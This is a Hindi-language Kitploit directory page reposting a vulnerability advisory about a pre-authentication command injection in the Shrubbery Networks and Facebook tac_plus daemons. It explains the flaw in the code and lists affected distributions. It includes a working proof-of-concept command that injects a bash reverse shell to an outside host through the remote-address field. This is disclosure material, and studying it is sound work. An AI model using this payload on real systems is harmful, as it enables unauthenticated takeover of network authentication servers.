Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
tac_plus-pre-auth-rce — tac_plus पूर्व-प्रमाणीकरण रिमोट कमांड निष्पादन भेद्यता (CVE-2023-45239 और CVE-2023-48643) | Kitploit
उपकरण/GitHubGitHub/takeshixx/tac_plus-pre-auth-rce
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरिमोट एक्सेस टूल
GitHubtakeshixx/tac_plus-pre-auth-rce

tac_plus-pre-auth-rce

tac_plus पूर्व-प्रमाणीकरण रिमोट कमांड निष्पादन भेद्यता (CVE-2023-45239 और CVE-2023-48643)

रिपॉजिटरी देखें
1352 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

tac_plus प्री-ऑथ रिमोट कमांड निष्पादन भेद्यता

इस रिपॉजिटरी में tac_plus के विभिन्न ओपन-सोर्स कार्यान्वयनों में एक प्री-ऑथ रिमोट कमांड निष्पादन भेद्यता के बारे में जानकारी है। निम्नलिखित दो फोर्क प्रभावित हैं:

  • Shrubbery Networks tac_plus
  • Facebook tac_plus

हालाँकि, दोनों फोर्क TACACS+ के लिए एक Cisco डेव किट पर आधारित हैं जिसे 16 साल से अधिक पहले ओपन-सोर्स किया गया था। यह भेद्यता डेव किट में पहले से मौजूद थी और दोनों प्रोजेक्ट्स में फोर्क कर दी गई थी। यह ध्यान दिया जाना चाहिए कि यह शोध केवल ऊपर उल्लिखित दो फोर्क पर केंद्रित था, अतिरिक्त फोर्क भी प्रभावित हो सकते हैं।

निम्नलिखित ग्राफ फोर्क के बीच संबंध दिखाता है, सभी प्रभावित हैं:

root@kitploit:~
-----------------
| Cisco dev kit |
-----------------
       ↑
  forked from
       |
----------------------
| Shrubbery Networks |
|   CVE-2023-48643   |
----------------------
       ↑
  forked from
       |
------------------
|    Facebook    |
| CVE-2023-45239 |
------------------

Cisco के डेव किट का कोई आधिकारिक स्रोत नहीं मिला है और अब इसे बनाए नहीं रखा गया है।

स्थिति

  • Facebook ने एक GitHub सुरक्षा सलाह (GHSA) प्रकाशित की, जिसे सौंपा गया
CVE-2023-45239
  • Shrubbery Networks के फोर्क के लिए कोई पैच उपलब्ध नहीं है
  • भेद्यता

    निम्नलिखित उदाहरण facebook/tac_plus रिपॉजिटरी में कोड को संदर्भित करता है क्योंकि यह GitHub पर उपलब्ध है (Cisco डेव किट और Shrubbery Networks फोर्क केवल टारबॉल हैं)। हालाँकि, प्रभावित कोड सभी प्रोजेक्ट्स में समान है।

    जब कोई पैकेट आता है, तो आने वाले पैकेट के प्रकार (प्रमाणीकरण, प्राधिकरण, या लेखांकन) को निर्धारित करने के लिए start_session() फ़ंक्शन को कॉल किया जाएगा। हम प्राधिकरण पैकेटों पर ध्यान केंद्रित करते हैं जिन्हें author() → do_author() द्वारा नियंत्रित किया जाता है, जो फिर pre_authorization() को कॉल करता है। यह फ़ंक्शन जाँचता है कि TACACAS+ पैकेट में उपयोगकर्ता नाम के लिए प्राधिकरण से पहले कमांड कॉन्फ़िगर है या नहीं और इसे call_pre_process() के माध्यम से निष्पादित करता है। निम्नलिखित कॉन्फ़िगरेशन फ़ाइल (tac_plus.conf) एक उपयोगकर्ता को दिखाती है जिसमें प्राधिकरण से पहले कमांड कॉन्फ़िगर है:

    root@kitploit:~
    accounting file = /tmp/tac_acc.log
    
    user=DEFAULT {
     before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
      service = exec {
        default attribute = permit
      }
    }
    

    यह फ़ंक्शन प्राधिकरण से पहले में कॉन्फ़िगर किए गए कमांड को लेता है और आने वाले TACACAS+ पैकेट से मानों के साथ चर (जैसे $user, $name, या $address) को प्रतिस्थापित करता है। हालाँकि, यह बिना किसी इनपुट सत्यापन या स्वच्छता (sanitization) के किया जाता है।

    परिणामी कमांड स्ट्रिंग को फिर my_popen() को पास किया जाएगा, जो निम्नलिखित execl() कॉल में कमांड स्ट्रिंग को निष्पादित करता है:

    root@kitploit:~
    (void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
    

    यह TACACS+ पैकेटों में रिमोट एड्रेस फ़ील्ड के माध्यम से अतिरिक्त कमांड इंजेक्ट करने की अनुमति देता है (RFC8907 में rem_addr, rem_addr_len देखें)। यही संभावित रूप से अन्य इनपुट फ़ील्ड के लिए भी काम कर सकता है।

    यह ध्यान दिया जाना चाहिए कि भेद्यता प्रमाणीकरण प्रक्रिया के दौरान ट्रिगर होती है। इसलिए, किसी पासवर्ड की आवश्यकता नहीं है, केवल एक उपयोगकर्ता नाम जो कॉन्फ़िगरेशन में मौजूद है!

    भेद्यता ट्रिगर करें

    इस कॉन्फ़िग के साथ tac_plus को संकलित और चलाने का विवरण निम्नलिखित अनुभागों में दिया गया है:

    • Shrubbery Network tac_plus सेटअप
    • Facebook tac_plus सेटअप

    निम्नलिखित कमांड लक्षित डेमॉन पर उपयोगकर्ता DEFAULT के साथ tacacs_client चलाता है। भेद्यता को ट्रिगर करने वाला पेलोड रिमोट एड्रेस फ़ील्ड में है, जो --rem-addr कमांड लाइन तर्क के माध्यम से सेट किया गया है:

    root@kitploit:~
    export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
    tacacs_client \
        --host 192.168.1.100 \
        --port 4949 \
        --username DEFAULT \
        --rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
        authorize -c service=exec
    

    इसे निष्पादित करने से 192.168.1.18:1337 पर एक रिवर्स शेल कनेक्शन प्राप्त होगा। उपयोगकर्ता नाम उन उपयोगकर्ताओं में से एक होना चाहिए जिनके लिए tac_plus.cfg में प्राधिकरण से पहले या प्राधिकरण के बाद निर्देश कॉन्फ़िगर किया गया है। अंतिम कमांड सूची (-c service=exec) आवश्यक कोड पथ तक पहुँचने के लिए आवश्यक है, लेकिन मान मायने नहीं रखता।

    क्लाइंट द्वारा भेजा गया TACACS+ पैकेट Wireshark में निम्नलिखित स्क्रीनशॉट में दिखाया गया है:

    Wireshark सेटअप

    निम्नलिखित स्क्रीनशॉट इंजेक्टेड कमांड निष्पादित होने से ठीक पहले एक डिबग सत्र दिखाता है:

    VScode डिबग

    प्रभावित Linux वितरण/BSD डेरिवेटिव

    विभिन्न Linux वितरण अपने आधिकारिक पैकेजों में दो प्रभावित फोर्क में से एक का उपयोग करते हैं (अधिकतर Shrubbery Networks फोर्क)। निम्नलिखित तालिकाएँ Linux वितरणों और BSD डेरिवेटिव्स को दिखाती हैं जो इस लेखन के समय या तो Shrubbery Networks या Facebook फोर्क का उपयोग करते हैं। यह सूची पूर्ण नहीं है, अन्य वितरण/डेरिवेटिव भी प्रभावित होने की संभावना है।

    वितरणपैकेजफोर्क
    FedoratacacsFacebook
    Ubuntutacacs+Shrubbery Networks
    OpenSUSEtac_plusShrubbery Networks
    Debiantacacs+Shrubbery Networks
    Arch Linux (AUR)tacacs-plusShrubbery Networks
    ...
    डेरिवेटिवपोर्टफोर्क
    FreeBSDtacacsShrubbery Networks
    NetBSDtacacsShrubbery Networks
    ...

    इस समस्या को पुन: उत्पन्न करने के उदाहरण निम्नलिखित अनुभागों में उपलब्ध हैं:

    • Shrubbery Networks tac_plus उदाहरण
    • Facebook tac_plus उदाहरण
    टूल डाउनलोड करें